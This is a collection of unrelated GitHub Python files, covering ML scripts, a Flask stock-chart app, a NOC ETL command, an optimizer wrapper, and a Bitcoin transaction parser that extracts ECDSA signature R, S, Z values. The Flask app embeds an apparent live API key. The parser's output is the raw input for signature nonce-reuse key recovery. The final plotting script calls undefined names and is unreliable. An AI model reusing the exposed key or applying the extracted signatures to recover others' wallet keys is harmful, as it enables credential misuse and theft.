User.objects.only(\n \"id\", \"chatProfile\", \"username\", \"avatar.avatar_url\"\n )\n .get(pk=member[\"user\"])\n .to_json()\n )\n chat[\"members\"][x][\"unread\"] = str(chat[\"members\"][x][\"unread\"])\n chat[\"owner\"] = list(\n filter(lambda x: x[\"user\"][\"_id\"] == chat[\"owner\"], chat[\"members\"])\n )[0]\n\n print(chats)\n return chats\n\n\ndef get_friends(user_id):\n user = find_user(pk=user_id)\n try:\n friends = user.chatProfile.friends\n except:\n friends = None\n return friends\n\n\ndef get_blocks(user_id):\n user = find_user(pk=user_id)\n try:\n blocked = user.chatProfile.blocked\n except:\n blocked = None\n return blocked\n\n\ndef get_user_notepad(user):\n user = find_user(pk=user)\n try:\n # print(user.notepad)\n notepad = dict(user.notepad.data)\n except Exception as e:\n\n print(e)\n notepad = {}\n return notepad\n","repo_name":"TheLegendOfKitty/ProjectNebulus","sub_path":"app/static/python/mongodb/read.py","file_name":"read.py","file_ext":"py","file_size_in_byte":14157,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71159475394","text":"import argparse\nimport glob\nimport os\nfrom tqdm import tqdm\n\nfrom cv2 import imread\n\n\ndef get_dataset_mean(path):\n dataset_mean = 0\n count = 0\n\n for r, dirs, files in os.walk(path):\n for dr in dirs:\n count += len(glob.glob(os.path.join(r, dr + \"/*\")))\n for file in tqdm(files):\n im = imread(os.path.join(r, file), -1)\n dataset_mean += (1. / count) * im.mean()\n\n # labels = ['1', '2']\n # for label in labels:\n # curr_path = path + label\n # for im_file in glob.glob(curr_path):\n # im = imread(im_file, -1)\n # dataset_mean += (1./count)*im.mean()\n return dataset_mean\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('--path', default='data/PA_512_16/M_Adult/train/', help='path to training set')\n\n args = parser.parse_args()\n ds_mean = get_dataset_mean(args.path)\n print(ds_mean)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"YaronBlinder/tensorflow_transferlearning_finetuning","sub_path":"get_mean.py","file_name":"get_mean.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"75237056514","text":"#Mushroom Classification\n\n#Importing libraries\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n#Importing dataset\ndataset= pd.read_csv('mushrooms.csv')\nX= dataset.iloc[:, 1:]\ny= dataset.iloc[:, 0].values\n\n#Encoding variables\nfrom sklearn.preprocessing import LabelEncoder\nlabelencoder_y= LabelEncoder()\ny= labelencoder_y.fit_transform(y)\n\nX= pd.get_dummies(X, drop_first= True)\nX= X.values\n\n#Splitting into training and test set\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, y_train, y_test= train_test_split(X, y, test_size= 0.2)\n\n#Dimensionality Reduction\nfrom sklearn.decomposition import PCA\npca= PCA(n_components= 2)\nX_train= pca.fit_transform(X_train)\nX_test= pca.transform(X_test)\n\n#Fitting SVM to training set\nfrom sklearn.svm import SVC\nclassifier= SVC(C= 100, kernel= 'rbf', gamma= 5.0)\nclassifier.fit(X_train, y_train)\n\n#Predicting values for test set\ny_pred= classifier.predict(X_test)\n\n#Confusion Matrix\nfrom sklearn.metrics import confusion_matrix\ncm= confusion_matrix(y_test, y_pred)\n\n#Calculating accuracy\nfrom sklearn.model_selection import cross_val_score\naccuracies= cross_val_score(estimator= classifier, X= X_train, y= y_train, cv= 10)\nmean= accuracies.mean()\nstd= accuracies.std()\n\n#Finding best parameters\nfrom sklearn.model_selection import GridSearchCV\nparameters= [{'C': [1, 10, 100], 'kernel': ['linear']},\n {'C': [1, 10, 100], 'kernel': ['rbf'], 'gamma': [0.1, 0.5, 1.0, 5.0]}]\ngrid_search= GridSearchCV(estimator= classifier, param_grid= parameters, scoring= 'accuracy',\n cv= 10, n_jobs= -1)\ngrid_search= grid_search.fit(X_train, y_train)\nbest_parameters= grid_search.best_params_\n\n#Visualising training set results\nfrom matplotlib.colors import ListedColormap\nX_set, y_set= X_train, y_train\nX1, X2= np.meshgrid(np.arange(start= X_set[:, 0].min() - 1, stop= X_set[:, 0].max() + 1, step= 0.01),\n np.arange(start= X_set[:, 1].min() - 1, stop= X_set[:, 1].max() + 1, step= 0.01))\nplt.contourf(X1, X2, classifier.predict(np.array([X1.ravel(), X2.ravel()]).T).reshape(X1.shape), \n alpha= 0.75, cmap= ListedColormap(('red', 'green')))\nplt.xlim(X1.min(), X1.max())\nplt.ylim(X2.min(), X2.max())\n\nfor i, j in enumerate(np.unique(y_set)):\n plt.scatter(X_set[y_set==j, 0], X_set[y_set==j, 1], c= ListedColormap(('red', 'green'))(i),\n label= j)\n\nplt.xlabel(\"PC1\")\nplt.ylabel(\"PC2\")\nplt.title(\"Mushroom Classification (Training Set)\")\nplt.legend()\nplt.show()\n\n#Visualising test set results\nfrom matplotlib.colors import ListedColormap\nX_set, y_set= X_test, y_test\nX1, X2= np.meshgrid(np.arange(start= X_set[:, 0].min() - 1, stop= X_set[:, 0].max() + 1, step= 0.01),\n np.arange(start= X_set[:, 1].min() - 1, stop= X_set[:, 1].max() + 1, step= 0.01))\nplt.contourf(X1, X2, classifier.predict(np.array([X1.ravel(), X2.ravel()]).T).reshape(X1.shape), \n alpha= 0.75, cmap= ListedColormap(('red', 'green')))\nplt.xlim(X1.min(), X1.max())\nplt.ylim(X2.min(), X2.max())\n\nfor i, j in enumerate(np.unique(y_set)):\n plt.scatter(X_set[y_set==j, 0], X_set[y_set==j, 1], c= ListedColormap(('red', 'green'))(i),\n label= j)\n\nplt.xlabel(\"PC1\")\nplt.ylabel(\"PC2\")\nplt.title(\"Mushroom Classification (Test Set)\")\nplt.legend()\nplt.show()\n","repo_name":"jeshugames2/Mushroom-Classification","sub_path":"mushrooms.py","file_name":"mushrooms.py","file_ext":"py","file_size_in_byte":3313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23407378288","text":"# Compute an Optimum Assignment of Tasks\n\n# Given the duration of tasks where each task is independent of each other\n# Each worker can be assigned exactly 2 tasks\n# Minimize the maximum time that would be taken to finish the tasks\n\n## SOLUTION: Sort the times; combine the 1st and the last, 2nd and the 2nd last and so on\n\ndef optimum_task_assignment(times):\n\ttimes.sort()\n\tdurations = []\n\n\ti, j = 0, len(times)-1\n\twhile i < j:\n\t\tdurations.append(times[i] + times[j])\n\t\ti += 1\n\t\tj -= 1\n\treturn max(durations)\n\n\ntimes = [5,2,1,6,4,4]\nprint(\"The duration of the tasks:\t{}\".format(times))\n\nprint(\"Minimum time taken to finish tasks:\t{}\".format(optimum_task_assignment(times)))\n","repo_name":"sheelabhadra/Elements-Programming-Interviews","sub_path":"Greedy Algorithms and Invariants/assign_task.py","file_name":"assign_task.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"32810528774","text":"# My Python Program\n# Task: Use the function myFunction to output a simple \"Hello World!\" statement\n\ndef myFunction(name):\n y = 15\n print(\"Welcome to the world %s\" % (name))\n print(\"y is %d which is how old I am\" % (y))\n\nmyFunction(\"T Diddy\") # Output: \"Hello World!\"\n\n\n","repo_name":"SHH-ICS/unit-2-02-ThatcherReidel","sub_path":"program.py","file_name":"program.py","file_ext":"py","file_size_in_byte":281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27888902144","text":"# importing libraries\nfrom flask import Flask, render_template, request, redirect\nimport requests\nimport pandas as pd\nfrom bokeh.plotting import figure\nfrom bokeh.embed import components\nimport datetime\n\ndef get_date_string(first_date,delta_days):\n date_format='%Y-%m-%d'\n date=first_date+datetime.timedelta(days=delta_days)\n if int(date.strftime('%w')) in range(1,6):\n return date.strftime(date_format)\n else:\n pass\n \n# function to get data\ndef getData(ticker):\n reqUrl = 'https://www.alphavantage.co/query?function=TIME_SERIES_DAILY_ADJUSTED&symbol='+ticker+'&apikey=ML4QI9IK9E7OVNPV'\n r=requests.get(reqUrl)\n return_data=r.json()\n\n date_format='%Y-%m-%d'\n last_date=datetime.datetime.strptime('2020-10-31',date_format)\n first_date=datetime.datetime.strptime('2020-09-30',date_format)\n max_delta_days=(last_date-first_date).total_seconds()/(24*60*60)\n\n date_strings=[(delta_days,get_date_string(first_date,delta_days)) for delta_days in range(1,int(max_delta_days)+1)]\n\n prices=[]\n dates=[]\n days=[]\n for ds in date_strings:\n try:\n price=float(return_data['Time Series (Daily)'][ds[1]]['4. close'])\n prices.append(price)\n dates.append(ds[1])\n days.append(ds[0])\n except:\n pass\n df=pd.DataFrame(list(zip(dates,days,prices)), columns=['date','day','closing price'])\n return df\n\n\n# function to get plot\ndef getPlot(df, ticker):\n p = figure(title=\"Alphavantage Closing Stock prices 2020, Month of October\", x_axis_label=\"Day in October\",\n y_axis_label=\"Stock price\", x_axis_type='datetime', plot_width=400)\n\n p.annulus(x=df['day'], y=df['closing price'], color='red', legend_label=ticker,inner_radius=0.2, outer_radius=0.25)\n p.line(x=df['day'], y=df['closing price'], color='red')\n return p\n\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef main():\n return redirect('/index')\n\n\n@app.route('/index', methods=['GET', 'POST'])\ndef index():\n return render_template('index.html')\n\n\n@app.route('/about', methods=['POST'])\ndef about():\n # User inputs from the index.html\n ticker = request.form['ticker']\n ticker = ticker.upper()\n\n data = getData(ticker)\n plot = getPlot(data, ticker)\n\n script, div = components(plot)\n return render_template('about.html', script=script, div=div)\n\n\nif __name__ == '__main__':\n app.run(port=33507)\n","repo_name":"tmarton1/milestone","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19284622347","text":"import sys\r\nimport hashlib\r\nimport argparse\r\n\r\nparser = argparse.ArgumentParser(description='This tool helps to get ECDSA Signature RSZ values from Bitcoin rawtx!', \r\n epilog='Enjoy the program!')\r\n\r\nparser.add_argument(\"--rawtx\", help = \"Raw Transaction on the blockchain\", action=\"store\")\r\n\r\nif len(sys.argv)==1:\r\n parser.print_help()\r\n sys.exit(1)\r\nargs = parser.parse_args()\r\n\r\nrawtx = args.rawtx if args.rawtx else ''\r\n\r\nif rawtx == '': \r\n print('One of the required options are missing.'); sys.exit(1)\r\n\r\n\r\ndef get_rs(sig):\r\n rlen = int(sig[2:4], 16)\r\n r = sig[4:4+rlen*2]\r\n s = sig[8+rlen*2:]\r\n return r, s\r\n \r\ndef split_sig_pieces(script):\r\n sigLen = int(script[2:4], 16)\r\n sig = script[2+2:2+sigLen*2]\r\n r, s = get_rs(sig[4:])\r\n pubLen = int(script[4+sigLen*2:4+sigLen*2+2], 16)\r\n pub = script[4+sigLen*2+2:]\r\n assert(len(pub) == pubLen*2)\r\n return r, s, pub\r\n\r\n\r\ndef parseTx(txn):\r\n if len(txn) <130:\r\n print('[WARNING] rawtx most likely incorrect.')\r\n sys.exit(1)\r\n inp_list = []\r\n ver = txn[:8]\r\n if txn[8:12] == '0001':\r\n print('Unsupported transaction input. Presence of witness data.')\r\n sys.exit(1)\r\n inp_nu = int(txn[8:10], 16)\r\n \r\n first = txn[0:10]\r\n cur = 10\r\n for m in range(inp_nu):\r\n prv_out = txn[cur:cur+64]\r\n var0 = txn[cur+64:cur+64+8]\r\n cur = cur+64+8\r\n scriptLen = int(txn[cur:cur+2], 16)\r\n script = txn[cur:2+cur+2*scriptLen]\r\n r, s, pub = split_sig_pieces(script)\r\n seq = txn[2+cur+2*scriptLen:10+cur+2*scriptLen]\r\n inp_list.append([prv_out, var0, r, s, pub, seq])\r\n cur = 10+cur+2*scriptLen\r\n rest = txn[cur:]\r\n return [first, inp_list, rest]\r\n\r\ndef getSignableTxn(parsed):\r\n res = []\r\n first, inp_list, rest = parsed\r\n tot = len(inp_list)\r\n for one in range(tot):\r\n e = first\r\n for i in range(tot):\r\n e += inp_list[i][0] # prev_txid\r\n e += inp_list[i][1] # var0\r\n if one == i: \r\n e += '1976a914' + HASH160(inp_list[one][4]) + '88ac'\r\n else:\r\n e += '00'\r\n e += inp_list[i][5] # seq\r\n e += rest + \"01000000\"\r\n z = hashlib.sha256(hashlib.sha256(bytes.fromhex(e)).digest()).hexdigest()\r\n res.append([inp_list[one][2], inp_list[one][3], z, inp_list[one][4], e])\r\n return res\r\ndef HASH160(pubk_hex):\r\n return hashlib.new('ripemd160', hashlib.sha256(bytes.fromhex(pubk_hex)).digest() ).hexdigest()\r\n\r\nprint('\\nStarting Program...')\r\n\r\nm = parseTx(rawtx)\r\ne = getSignableTxn(m)\r\n\r\nfor i in range(len(e)):\r\n print('='*70,f'\\n[Input Index #: {i}]\\n R: {e[i][0]}\\n S: {e[i][1]}\\n Z: {e[i][2]}\\nPubKey: {e[i][3]}')\r\n\r\n","repo_name":"GiladLeef/RawTX","sub_path":"rawtx.py","file_name":"rawtx.py","file_ext":"py","file_size_in_byte":2793,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"36702996430","text":"from yahpo_gym import benchmark_set\nfrom yahpo_gym.benchmarks import *\nimport random\nimport time\nimport pandas as pd\nimport numpy as np\nimport shutil\n\nfrom dehb import DEHB\nimport ConfigSpace as CS\n\ndef dehb_target_function(configuration, budget, **kwargs):\n fidelity_param_id = kwargs[\"fidelity_param_id\"]\n bench = kwargs[\"bench\"]\n instance = kwargs[\"instance\"]\n target = kwargs[\"target\"]\n factor = kwargs[\"factor\"]\n on_integer_scale = kwargs[\"on_integer_scale\"]\n\n X = configuration.get_dictionary()\n if \"rbv2_\" in bench.config.config_id:\n X.update({\"repl\":10}) # manual fix required for rbv2_\n X.update({bench.config.instance_names: instance})\n X.update({fidelity_param_id: int(round(budget)) if on_integer_scale else budget})\n y = bench.objective_function(X, logging=True, multithread=False)[0]\n\n result = {\n \"fitness\": factor * float(y.get(target)),\n \"cost\": 0,\n \"info\": {\n \"budget\": int(round(budget)) if on_integer_scale else budget\n }\n }\n\n return result\n\ndef run_dehb(scenario, instance, target, minimize, on_integer_scale, n_trials, seed):\n random.seed(seed)\n np.random.seed(seed)\n\n bench = benchmark_set.BenchmarkSet(scenario, instance=instance, multithread=False)\n opt_space = bench.get_opt_space(instance)\n opt_space_fixed = CS.ConfigurationSpace(seed=seed)\n hps = opt_space.get_hyperparameter_names()\n for hp in hps:\n if hp != bench.config.instance_names:\n opt_space_fixed.add_hyperparameter(opt_space.get_hyperparameter(hp))\n conditions = opt_space.get_conditions()\n for condition in conditions:\n opt_space_fixed.add_condition(condition)\n forbiddens = opt_space.get_forbiddens()\n for forbidden in forbiddens:\n opt_space_fixed.add_forbidden(forbidden)\n dimensions = len(opt_space_fixed.get_hyperparameters())\n fidelity_space = bench.get_fidelity_space()\n if \"rbv2_\" in scenario: # manual fix required for rbv2_\n fidelity_param_id = \"trainsize\"\n else:\n fidelity_param_id = fidelity_space.get_hyperparameter_names()[0]\n min_budget = fidelity_space.get_hyperparameter(fidelity_param_id).lower\n max_budget = fidelity_space.get_hyperparameter(fidelity_param_id).upper\n factor = 1 if minimize else -1\n path = \"dehb_tmp_\" + str(seed) + \"_\" + str(random.randrange(49152, 65535 + 1))\n\n dehb = DEHB(\n f=dehb_target_function,\n cs=opt_space_fixed,\n dimensions=dimensions, \n min_budget=min_budget, \n max_budget=max_budget,\n n_workers=1,\n output_path=path\n )\n\n trajectory, runtime, history = dehb.run(\n fevals=n_trials,\n verbose=False,\n save_intermediate=False,\n # parameters expected as **kwargs in dehb_target_function are passed here\n fidelity_param_id=fidelity_param_id,\n bench=bench,\n instance=instance,\n target=target,\n factor=factor,\n on_integer_scale=on_integer_scale\n )\n\n time = pd.DataFrame.from_dict([x.get(\"time\") for x in bench.archive])\n X = pd.DataFrame.from_dict([x.get(\"x\") for x in bench.archive])\n Y = pd.DataFrame.from_dict([x.get(\"y\") for x in bench.archive])\n data = pd.concat([time, X, Y], axis = 1)\n bench.archive = []\n dehb.reset()\n shutil.rmtree(path)\n return data\n\n","repo_name":"slds-lmu/yahpo_exps","sub_path":"paper/experiments/dehb_wrapper.py","file_name":"dehb_wrapper.py","file_ext":"py","file_size_in_byte":3338,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"70564463236","text":"from fastapi import FastAPI\nimport uvicorn\nimport pandas as pd\n# from unidecode import unidecode\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.metrics.pairwise import cosine_similarity, linear_kernel\n\n\napp = FastAPI(title = \"Proyecto_01\", description = \"Proyecto_01\")\ndf = pd.read_csv('Datasets/Peliculas_Limpias.csv')\n\n#http://127.0.0.1:8000/\n\n\n@app.get(\"/\")\nasync def index ():\n output = \"¡Bienvenido a la interfaz de consultas, inserte '/docs' para visualizar las consultas \"\n return output\n\n#Se desarrollan las consutlas que fueron solicitadas por el cliente:\n\n#Consulta_1\n#Se ingresa un idioma, retornando la cantidad de películas producidas en ese idioma.\n@app.get('/peliculas_idioma/{Idioma}')\ndef peliculas_idioma(Idioma:str):\n sacar_idioma = df[df['Idioma'] == Idioma]\n total = len(sacar_idioma)\n return {'Respuesta': f\"{total} peliculas se lanzaron en {Idioma}\"}\n\n\n\n#Consulta_2\n#Se ingresa una pelicula, retornando la duracion y el año.\n@app.get('/peliculas_dia/{Pelicula}')\ndef peliculas_duracion(Pelicula:str):\n peli = df[df['Titulo'] == Pelicula].iloc[0]\n duracion = peli['Duración']\n anio = peli['Año_Lanzamiento']\n return {'Respuesta': f\"{Pelicula}. Duración: {duracion}. Año: {anio}\"}\n\n#Consulta_3\n#Se ingresa la franquicia, La función retornara la cantidad de peliculas, ganancia total y promedio\n@app.get('/franquicia/{Franquicia}')\ndef franquicia(Franquicia: str ): \n valor_encontrado = df[df['Franquicia']==Franquicia]\n series = len(valor_encontrado)\n total = valor_encontrado['Ganancia'].sum()\n promedio = valor_encontrado['Ganancia'].mean()\n\n return {'Franquicia': Franquicia, \n 'Cantidad de Películas': series, \n 'Ganancias Totales': total, \n 'Promedio de las Ganancias': promedio}\n\n\n#Consulta_4\n#Se ingresa el país, retornando la cantidad de películas producidas en el mismo\n@app.get('/peliculas_pais/{Pais}')\ndef peliculas_pais( Pais: str ):\n film_por_pais = df[df['Pais_de_Produccion'].str.contains(Pais,na=False,case=False)]\n cant = len(film_por_pais)\n \n return {'Respuesta':f\"Se produjeron {cant} películas en {Pais}\"}\n\n\n#Consulta_5\n#Se Ingresa la productora, retornando la ganancia total y la cantidad de películas que produjeron\n@app.get('/productoras_exitosas/{Productora}')\ndef productoras_exitosas( Productora: str ):\n variable_productora=df[['Productora','Ganancia']].dropna()\n variable_productora['Productora']=variable_productora['Productora'].map(str.lower)\n variable_productora=variable_productora[variable_productora.Productora.str.contains(Productora.lower(), regex=False)]\n cantidad=variable_productora.shape[0]\n ganancia=variable_productora['Ganancia'].sum()\n return {'La productora':Productora, \n 'obtuvo ganancias de':ganancia, \n 'y las películas que hizo fueron':cantidad}\n\n\n#CONSULTA_6\n#Se ingresa el nombre de un director que se encuentre dentro de un dataset debiendo devolver el éxito del mismo medido a través del retorno. Además, deberá devolver el nombre de cada película con la fecha de lanzamiento, retorno individual, costo y ganancia de la misma, en formato lista.\n@app.get('/get_director/{Director}')\ndef get_director(Director):\n resultado = []\n for _, row in df.iterrows():\n director = row['Director']\n if isinstance(director, str) and Director.lower() == director.lower():\n titulo = row['Titulo']\n fecha_lanzamiento = pd.to_datetime(row['Fecha_Lanzamiento']).date()\n ganancia = round(row['Ganancia'], 9)\n presupuesto = int(row['Presupuesto'])\n ingresos = int(row['Ingresos'])\n \n pelicula = {\n 'Titulo': titulo,\n 'Fecha de lanzamiento': fecha_lanzamiento,\n 'Ganancia': ganancia,\n 'Presupuesto': presupuesto,\n 'Ingresos Totales': ingresos\n }\n \n resultado.append(pelicula)\n \n if not resultado:\n resultado = \"No se encontró al director especificado.\"\n\n return resultado\n\n\n\n# Consulta_7\n# Se ingresa el nombre de una película y te recomienda las similares en una lista de 5 valores.\n@app.get(\"/7. Recomendacion/{Titulo}\")\ndef recomendacion(Titulo: str):\n df = pd.read_csv('Datasets/Peliculas_ML.csv')\n if Titulo not in df['Titulo'].values:\n return {'Respuesta': 'El título no existe en el DataFrame'}\n datos_reducidos = df.head(5000)\n if Titulo not in datos_reducidos['Titulo'].values:\n return {'Respuesta': 'El título no existe en la muestra reducida'}\n\n tfidf = TfidfVectorizer(stop_words='english')\n datos_reducidos['Resumen'] = datos_reducidos['Resumen'].fillna('')\n\n tdfidf_matrix = tfidf.fit_transform(datos_reducidos['Resumen'])\n cosenoSimilaridad = linear_kernel(tdfidf_matrix, tdfidf_matrix)\n\n indices = datos_reducidos[datos_reducidos['Titulo'] == Titulo].index[0]\n\n peliculas_similares = list(enumerate(cosenoSimilaridad[indices]))\n peliculas_ordenadas = sorted(peliculas_similares, key=lambda tupla: tupla[1], reverse=True)\n extraer_indices = [i for i, _ in peliculas_ordenadas[1:6]]\n respuesta = datos_reducidos['Titulo'].iloc[extraer_indices].values.tolist()\n\n return respuesta\n","repo_name":"ayhovi/Proyecto_01","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5300,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72403369475","text":"from typing import Optional, Literal\n\n\nclass RequestError(Exception):\n \"\"\"\"\"\"\n def __init__(\n self,\n status_code: int,\n error_code: str,\n error_message: str,\n message_id: Optional[str],\n ) -> None:\n super().__init__(\n f\"{status_code} error response was encountered - {error_code} : {error_message} : MessageID={message_id}\"\n )\n self.status_code = status_code\n self.error_code = error_code\n self.error_message = error_message\n self.message_id = message_id\n\n\nclass InvalidRequestError(RequestError):\n \"\"\"\"\"\"\n\n\nclass PublicKeyError(RequestError):\n \"\"\"\"\"\"\n","repo_name":"NHSDigital/nhs-api-oauth2-client","sub_path":"nhs_api_oauth2_client/exceptions.py","file_name":"exceptions.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22805071018","text":"import argparse\n# Third-party modules\nimport yaml\nimport ujson\n# NOC modules\nfrom noc.core.management.base import BaseCommand\nfrom noc.core.handler import get_handler\nfrom noc.main.models.remotesystem import RemoteSystem\n\n\nclass Command(BaseCommand):\n CONF = \"etc/etl.yml\"\n\n SUMMARY_MASK = \"%20s | %8s | %8s | %8s\\n\"\n CONTROL_MESSAGE = \"\"\"Summary of %s changes: %d, overload control number: %d\\n\"\"\"\n\n def add_arguments(self, parser):\n parser.add_argument(\n \"--system\",\n action=\"append\",\n help=\"System to extract\"\n )\n subparsers = parser.add_subparsers(dest=\"cmd\")\n # load command\n load_parser = subparsers.add_parser(\"load\")\n load_parser.add_argument(\n \"system\",\n help=\"Remote system name\"\n )\n load_parser.add_argument(\n \"loaders\",\n nargs=argparse.REMAINDER,\n help=\"List of extractor names\"\n )\n # check command\n check_parser = subparsers.add_parser(\"check\")\n check_parser.add_argument(\n \"system\",\n help=\"Remote system name\"\n )\n # diff command\n diff_parser = subparsers.add_parser(\"diff\")\n diff_parser.add_argument(\n \"system\",\n help=\"Remote system name\"\n )\n diff_parser.add_argument(\n \"--summary\",\n action=\"store_true\",\n default=False,\n help=\"Show only summary\"\n )\n diff_parser.add_argument(\n \"--control-default\",\n action=\"store\",\n type=int,\n default=0,\n help=\"Default control number in summary object\"\n )\n diff_parser.add_argument(\n \"--control-dict\",\n type=str,\n help=\"Dictionary of control numbers in summary object\"\n )\n diff_parser.add_argument(\n \"diffs\",\n nargs=argparse.REMAINDER,\n help=\"List of extractor names\"\n )\n # extract command\n extract_parser = subparsers.add_parser(\"extract\")\n extract_parser.add_argument(\n \"system\",\n help=\"Remote system name\"\n )\n extract_parser.add_argument(\n \"extractors\",\n nargs=argparse.REMAINDER,\n help=\"List of extractor names\"\n )\n\n def get_config(self):\n with open(self.CONF) as f:\n return yaml.load(f)\n\n def handle(self, cmd, *args, **options):\n return getattr(self, \"handle_%s\" % cmd)(*args, **options)\n\n def handle_load(self, *args, **options):\n remote_system = RemoteSystem.get_by_name(options[\"system\"])\n if not remote_system:\n self.die(\"Invalid remote system: %s\" % options[\"system\"])\n remote_system.load(options.get(\"loaders\", []))\n\n def handle_extract(self, *args, **options):\n remote_system = RemoteSystem.get_by_name(options[\"system\"])\n if not remote_system:\n self.die(\"Invalid remote system: %s\" % options[\"system\"])\n remote_system.extract(options.get(\"extractors\", []))\n\n def handle_check(self, *args, **options):\n remote_system = RemoteSystem.get_by_name(options[\"system\"])\n if not remote_system:\n self.die(\"Invalid remote system: %s\" % options[\"system\"])\n n_errors = remote_system.check(self.stdout)\n return 1 if n_errors else 0\n\n def handle_diff(self, summary=False, *args, **options):\n remote_system = RemoteSystem.get_by_name(options[\"system\"])\n if not remote_system:\n self.die(\"Invalid remote system: %s\" % options[\"system\"])\n\n diffs = set(options.get(\"diffs\", []))\n if summary:\n self.stdout.write(self.SUMMARY_MASK % (\n \"Loader\", \"New\", \"Updated\", \"Deleted\"))\n control_dict = {}\n if options[\"control_dict\"]:\n try:\n control_dict = ujson.loads(options[\"control_dict\"])\n except ValueError as e:\n self.die(\"Failed to parse JSON: %s in %s\" % (e, options[\"control_dict\"]))\n except TypeError as e:\n self.die(\"Failed to parse JSON: %s in %s\" % (e, options[\"control_dict\"]))\n chain = remote_system.get_loader_chain()\n for l in chain:\n if diffs and l.name not in diffs:\n continue\n if summary:\n i, u, d = l.check_diff_summary()\n control_num = control_dict.get(l.name, options[\"control_default\"])\n self.stdout.write(self.SUMMARY_MASK % (\n l.name, i, u, d))\n if control_num:\n if sum([i, u, d]) >= control_num:\n self.stdout.write(self.CONTROL_MESSAGE % (l.name, sum([i, u, d]), control_num))\n self.stderr.write(self.CONTROL_MESSAGE % (l.name, sum([i, u, d]), control_num))\n n_errors = 1\n break\n else:\n l.check_diff()\n else:\n n_errors = 0\n return 1 if n_errors else 0\n\nif __name__ == \"__main__\":\n Command().run()\n","repo_name":"santor72/noc_custom","sub_path":"commands/etl2.py","file_name":"etl2.py","file_ext":"py","file_size_in_byte":5135,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5971344356","text":"\nimport numpy as np\nfrom assaytools import parser\nimport string\nfrom glob import glob\n\nimport matplotlib.pyplot as plt\nimport matplotlib\nimport matplotlib.patches as mpatches\nimport seaborn as sns\nsns.set(style='white')\nsns.set_context('talk')\n\ndef get_parameter(data_file, parameter='F_PL'):\n\n # Let's plot Ptrue histograms for these.\n\n import pickle\n\n p38_Bos_file = args.file1\n p38_Bsi_file = 'p38-Bosutinib Isomer-CD_mcmc-2019-07-23 13/46.pickle'\n p38_Erl_file = 'p38-Erlotinib-EF_mcmc-2019-07-23 15/58.pickle'\n p38_Gef_file = 'p38-Gefitinib-GH_mcmc-2019-07-23 18/10.pickle'\n\n with open(r'%s'%p38_Bos_file,'rb') as my_file:\n p38_Bos_data = pickle.load(my_file)\n with open(r'%s'%p38_Bsi_file,'rb') as my_file:\n p38_Bsi_data = pickle.load(my_file)\n with open(r'%s'%p38_Erl_file,'rb') as my_file:\n p38_Erl_data = pickle.load(my_file)\n with open(r'%s'%p38_Gef_file,'rb') as my_file:\n p38_Gef_data = pickle.load(my_file)\n\n cols = sns.color_palette('YlGnBu_r', 5)\n\n binBoundaries = np.linspace(-35,-9,50)\n\n kd_binBoundaries = np.exp(np.arange(-30,-9,0.5))\n\n #Lets make this plot using M for concentrations\n\n fig, ax = plt.subplots(figsize=(8,4))\n\n plt.hist(p38_Bos_data['Ptrue'][0],facecolor=cols[0],bins=binBoundaries,edgecolor='white',normed=1,alpha=0.9,label='p38:Bosutinib')\n plt.hist(p38_Bsi_data['Ptrue'][0],facecolor=cols[1],bins=binBoundaries,edgecolor='white',normed=1,alpha=0.9,label='p38:Bosutinib Isomer')\n plt.hist(p38_Erl_data['Ptrue'][0],facecolor=cols[2],bins=binBoundaries,edgecolor='white',normed=1,alpha=0.9,label='p38:Erlotinib')\n plt.hist(p38_Gef_data['Ptrue'][0],facecolor=cols[3],bins=binBoundaries,edgecolor='white',normed=1,alpha=0.9,label='p38:Gefitinib')\n\n ax.spines['top'].set_visible(False)\n ax.spines['right'].set_visible(False)\n\n plt.title('p38 affinities',fontsize=20)\n plt.yticks([])\n plt.ylim((0,0.9))\n plt.ylabel('$P\\_true$',fontsize=16)\n plt.xticks(fontsize=16)\n plt.xlim((-25,-8.5))\n plt.xlabel('$P\\_true$ ($M$)',fontsize=16)\n plt.legend(loc=2,fontsize=14,frameon=True,framealpha=0.9)\n\n plt.tight_layout()\n\n plt.savefig('p38_Ptrue_hist.png', dpi=500)\n plt.savefig('p38_Ptrue_hist.pdf')\n\ndef entry_point():\n\n import argparse\n\n parser = argparse.ArgumentParser(description=\"\"\"Get distribution of Ptrue from quickmodel run.\"\"\")\n parser.add_argument(\"--file1\", help=\"The pickle file output by quickmodel for your experiment.\",default=None)\n args = parser.parse_args()\n\n get_Ptrue(data_file=args.file1,parameter=args.parameter)\n\nif __name__ == '__main__':\n entry_point()\n","repo_name":"choderalab/fluorescence_assay_working_data","sub_path":"2018-2019_EEG/2019/07_2019/20190723_exp_multiple_well_single_wv_NB_all_assaytools_Pconc_0.5/plot_Ptrue_hist.py","file_name":"plot_Ptrue_hist.py","file_ext":"py","file_size_in_byte":2643,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} 